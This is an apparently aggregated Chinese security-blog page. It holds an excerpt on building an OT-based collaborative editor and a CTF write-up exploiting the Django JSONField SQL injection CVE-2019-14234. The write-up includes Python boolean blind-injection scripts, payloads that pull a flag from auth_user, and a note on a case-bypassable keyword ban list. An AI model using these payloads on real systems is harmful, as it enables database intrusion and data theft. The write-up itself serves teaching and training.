Aggregator
TA551(Shathak)正通过IcedID银行木马发起新一轮攻势
Edge Redirector Cloudlet Gets Faster
Inspiring the Next Generation with DigiGirlz
苹果库克最新隐私演讲:隐私第一,现行体系需要变革(评论版)
Tomcat容器攻防笔记之URI解析特性分析
一个实时协作文档的诞生
一直以来,协会打比赛时所使用的协作文档都是 HackMD,这是一个使用 NodeJS 编写的可自主部署的在线 Markdown 协作应用。用了这么多年了,HackMD 的一些弊端和痛点也暴露了出来。
- 没有完备的用户管理
- 文档不能细致的分类分组
- 在线编辑器有时候光标显示错误 …
因此,我萌生了自己造轮子写一个协作文档的想法。这是今年暑假一拍脑袋做的决定,没有过多地调研这个应用其背后的难点及其解决办法,以至于直接被知乎上的回答给吓住了。大家都说自己开发一个协作文档十分的困难,我看 HackMD 的源码也是一头雾水,自己尝试去魔改前端的 CodeMirror 编辑器也一无所获,所以这个想法在当时便被搁置了。
但是在那之后的一天,我看到了这个项目:https://github.com/petejkim/ot.go 一个使用 Go 实现的在线协作 Demo!代码量超少,但是功能却几乎齐全!我只需要基于它的基础上,完善一下用户系统,做做权限验证,文档管理,一个崭新的实时协作文档应用就能诞生了!
当个缝合怪!确实,我只需要当个缝合怪将现有的各种 Demo 东拼拼西凑凑串联起来就行。但是我又不甘心于当个缝合怪,便尝试去了解协作文档背后的原理。
关于如何实现多人的实时协同合作,其难点在于如何让同时在线的人们,互相之间穿插着对文字不同的部分进行这增、删、改操作,每个人的终端能实时更新对方的操作,能保证每个人屏幕上显示的都是相同内容的文本,也就是保持一致性。 学术界对于这个问题其实一直都在争论不休。不断有新的研究和新的算法被提出,但目前貌似也没有一个十全十美的解决方案。
有两种比较常用的算法:Operational Transformation(OT)操作转换、Conflict-free Replicated Data Types(CRDT)无冲突复制数据类型。上面我提到的那个项目,就是使用 OT 算法实现的在线协作。
Operational Transformation这里我们只讨论纯文本的实时协作的实现,关于富文本、表格、图形等操作暂且不谈。
关于纯文本的所有处理,我们其实都可以将其归纳为由无数个“添加” insert 与“删除” delete 这样的原子操作组成。那么来看这样一个例子: 现在有一段文本:
abcd目前有两个人,A 和 B 在同时对这段文本进行编辑。
A 在字母 b 后面输入了一个 e ,即 insert('e', 2) ,那么文本变成了 abecd 。 B 删除了第三个字母 c ,即 delete(3) ,那么文本变成了 abd 。
接下来,我们需要将这两个操作合并,得出最终文字的样子。 先从常识上来判断,合并操作后我们希望得到的最终结果应该是:
abed那么再来实际执行: 对于 A, 先 insert('e', 2) 再 delete(3),A 所看到的文本变为:abcd,delete 操作在错误的索引上删掉了刚输入的e。 对于 B,先 delete(3) 再 insert('e', 2),B 所看到的文本变为:abed。
可以发现上述过程中只有 B 是获得了我们期望的结果,问题出在我们只是单纯的把相对于一方的修改操作原封不动地堆叠应用在了另一方上面,导致了错误。就比如 A 执行的 delete(3),c 的下标在 A 添加了 e 之后已变为了 4。 A 应该执行操作 insert('e', 2) 再 delete(4) 才能获得正确的结果。
也就是说,在一个客户端的操作信息经由服务端转发给另一个客户端时,服务端需要对操作信息进行转换,这样才能保证接收的客户端更新文本后大家的内容都一致。这就是为什么 OT 名为操作转换。
我们稍微再专业一些,A 对文本的操作 x1,B 对文本的操作为 x2。定义一个转换函数 f,用于合并转换来自两个不同客户端的操作。 对于客户端 A 而言,他要执行 x1’ = f(x1, x2);对于客户端 B 而言,他要执行 x2’ = f(x2, x1)。从而使得两个客户端显示的内容相同。
用图形描述就像是:
这就是 OT 算法里经典的菱形图。
但这只是在 A、B 两个客户端起始的内容是相同的情况下,也就是他们的起点是一样的。如果因为网络等其它原因,A、B 两个客户端开始的版本不同;比如 A 从第 10 个 revision 版本开始,B 从第 20 个 revision 版本开始。那么他俩产生的操作,不能简单的进行合并。
这就是 OT 算法中的时序问题,而解决这个问题的精髓在于,将客户端所处的状态进行划分,并进行对应的处理:
- Synchronized 没有正在提交并且等待回包的操作。
- AwaitingConfirm 有一个操作提交了但是等后端确认,本地没有编辑数据。
- AwaitingWithBuffer 有一个操作提交了但是等后台确认,本地有编辑数据。
但以上这些如果要深究其具体实现,将十分复杂。我目前也只是勉强懂了这些粗浅的概念,具体情况下的策略的代码实现我看得真的头大。🤣 算了算了
Google Doc 就是使用 OT 算法实现协同编辑,前 Google Wave 工程师、ShareJS 作者 Joseph Gentle 表示:
Unfortunately, implementing OT sucks. There’s a million algorithms with different tradeoffs, mostly trapped in academic papers. […] Wave took 2 years to write and if we rewrote it today, it would take almost as long to write a second time.
哈哈哈,那既然如此,我也就不再花过多的时间纠结 OT 背后的具体实现了。专心于做项目需求吧~
目前的进度目前 EggMD 还是在处于开发过程中,不过进度不会很快。基本上是我在工作之余有空会写一点功能。当下的重心是把文档的编辑过程进行优化,用户权限系统等还只是有个雏形。
如果你真的真的十分感兴趣,同时又不介意的话,可以看看目前线上的一个版本尝尝鲜:https://try.eggmd.io/。 因为她目前还处于原型状态实在是太简陋了,所以都没好意思放出来,只是让协会的同学们玩了下。
做信息安全BP的一些感悟
为什么 OLAP 需要列式存储
当快捷指令遇上智能门锁
前段时间朋友小区换了一个智能门禁系统,户主通过一个APP进行管理,可以远程进行开锁操作。刚好这段时间在使用IOS的快捷指令操作,于是想做一个一键开门的快捷指令,直接通过快捷指令来完成开门的操作。
Rapid7收购全球领先的Kubernetes安全供应商Alcide
在内存的目标文件上执行shellcode
Steam市场与喜+1经验
Cybersecurity Attacks - Red Team Strategies Kindle Edition for free
NTLM Relay With CobaltStrike
Defending software build pipelines from malicious attack
Csharp使用Pipeline管道来执行PS规避杀软 - admin-神风
CVE-2021-3156 sudo heap-overflow 漏洞分析
Team A and Team B: Sunburst, Teardrop and Raindrop
202101-蓝队乙组月赛your_ip题解
有学弟问我月赛题目源码,感觉当时写的 wp 可以拿来水一篇博客(笑) :)
概述题目在 https://github.com/IanSmith123/your_ip
cve-2019-14234 django jsonfield 注入
此处构造了一个插入数据库和查询数据库的操作,其中查询的操作是可以控制注入的
接口两个
1 2 3 http://ip/save/?ip=1.1.1.1&domain=example.com http://ip/query/?domain=example.com 代码泄露首页图路径
1 http://ip/static扫描可得存在http://ip/static/www.zip。
1 2 Hint 1: I love something else beside Assassins creed. :) Hint 2: There is something interesting in /static, try to find it. :)一早上过去了,没有人扫到www.zip,因为一般的扫描器没有开启递归扫描,dirmap修改配置文件开启递归可以很快扫到。给了hint1和hint2之后,有两个同学扫到了www.zip,下午更晚一点的时候第三个同学扫到了www.zip。
在hint2的基础上,可以直接扫ip:port/static,一般情况下可以在半分钟内扫到泄露的代码。
审计下载后审计代码,可以找到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # ip/views.py def query_ip(request): dic = request.GET dic = dict(dic) if len(dic) == 0: return render(request, 'query.html') # good idea for all kind of query dic = {f"ip__{k}": dic[k][0] for k in dic} print(dic) my_ip = MyIP.objects.filter(**dic).all().values() my_ip = [item for item in my_ip] return JsonResponse(my_ip, safe=False)其中两行是bug的起源,参考 https://www.leavesongs.com/PENETRATION/django-jsonfield-cve-2019-14234.html
1 2 dic = {f"ip__{k}": dic[k][0] for k in dic} my_ip = MyIP.objects.filter(**dic).all().values()此处控制 domain处,造成sql注入
1 http://ip/query/?do%27main=example.com因为在题目里面,django关闭了debug,遇到错误直接返回500,如果语句构造正确,那么返回200。
因为已经有views.py了,本地可以新建一个django项目,把views.py放进去,可以直接调试构造的sql语句。
构造Poc布尔盲注 如果2>1的条件成立,那么返回结果,如果2>1不成立,那么返回空
1 2 3 4 5 def fun(poc): url = f"http://ip:8029/query/?domain{poc}=b" r = requests.get(url) print(r.text) fun("""')>'1' or 2>1--""") #因为这里不会返回注入的结果,此处可以使用布尔盲注的方式来判断数据。
1 124.16.75.162:31056/query/?domain')>'1' or 2>1--=b 1 http://124.16.75.162:31056/query/?domain%27)%3E%271%27%20or%202%3C1--=b因此可以构造一个简单的盲注脚本
1 2 3 4 5 def bool_blind(poc): url = f"http://ip:8029/query/?domain')>'1' or {poc}--=b" print(url) r = requests.get(url) print(r.text)接下来就是常规的猜表名长度,猜表名,列名的阶段
比如猜当前数据库的库名的第一个字符:
1 bool_blind("(select ascii(substr(current_database(),1,1))) between 30 and 98")不给第三条hint也不会影响做题,但是考虑到表比较多,爆破可能花时间,所以直接给了hint。本地新建一个工程,运行docker-entrypoint.sh的内容可以看到flag在auth_user表,省略了猜表名猜列名的步骤,直接到爆破flag的阶段。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Hint 3: $ cat docker-entrypoint.sh #!/bin/bash set -ex cd /app chmod +x wait-for-it.sh ./wait-for-it.sh -t 0 psql:5432 -- echo "postgres is up" python manage.py makemigrations python manage.py migrate python manage.py shell -c "from django.contrib.auth.models import User; User.objects.create_user('flag', 'flag{fake_flag}', 'this_is_not_important') if not User.objects.filter(username='flag').exists() else 0;" exec "$@"% You'd better create your own web server in your local computer to find the table name, column name and debug your POC. 最终 poc最终payload呼之欲出:
爆破flag字符串第一位的ascii码
1 bool_blind("(select ascii(substr((select email from auth_user),1,1))) between 0 and 102")写脚本修改上限,或者人工二分,都可以快速得到flag
跋代码泄露这个阶段卡了大家这么久,这个我得给大家道歉,我没想到这里会是第一个坑,好在连给了两个hint之后,终于有一位同学扫到了/static/www.zip,然后可能和他一起做题的另一个同学,也直接访问了这个路径。没过多久,就看到构造的ip{poc}=xxx打了过来,以为很快这题就会被秒了,因为已经构造出了布尔盲注的条件了,就差修改之后的判断语句了,可是很遗憾,这两位同学还是没有做出来这道题。
因为flag是在数据库里面,而这里可以使用postgres的命令执行拿到数据库的shell,但是此处拿到了shell也不能拿到flag,因为有shell也无法登录到数据库里面,也就无法拿到flag,所以我想过在数据库里面也放同样的一个flag,但是最终放弃了这个想法,而是写了个蹩脚的黑名单过滤,让做题的同学回到注入的思路中,结果忽略了大小写可以绕过 :( 日志里面看到这两位同学的大写的 CMD_EXEC打了过来,心里一惊 :) 不过最后还是没有拿到shell
1 2 3 4 5 6 def check_danger_string(s: str): ban_list = ['cmd', 'shell', 'exec', 'cyberpunk'] for item in ban_list: if item in s: return False return True159.226.95.* 扫了挺久的,看日志很多次都和www.zip 擦肩而过,感觉这个扫描器可能不大好使,后来和他交流之后看到他扫到了源码,很快也在日志里面看到了yunsle开始构造poc,可是时间已经不够了 :)
虽然没有同学做出来这道题,不过看同学们做题还是开心的一天啊 :)
Les1ie
2021年1月10日00:11:58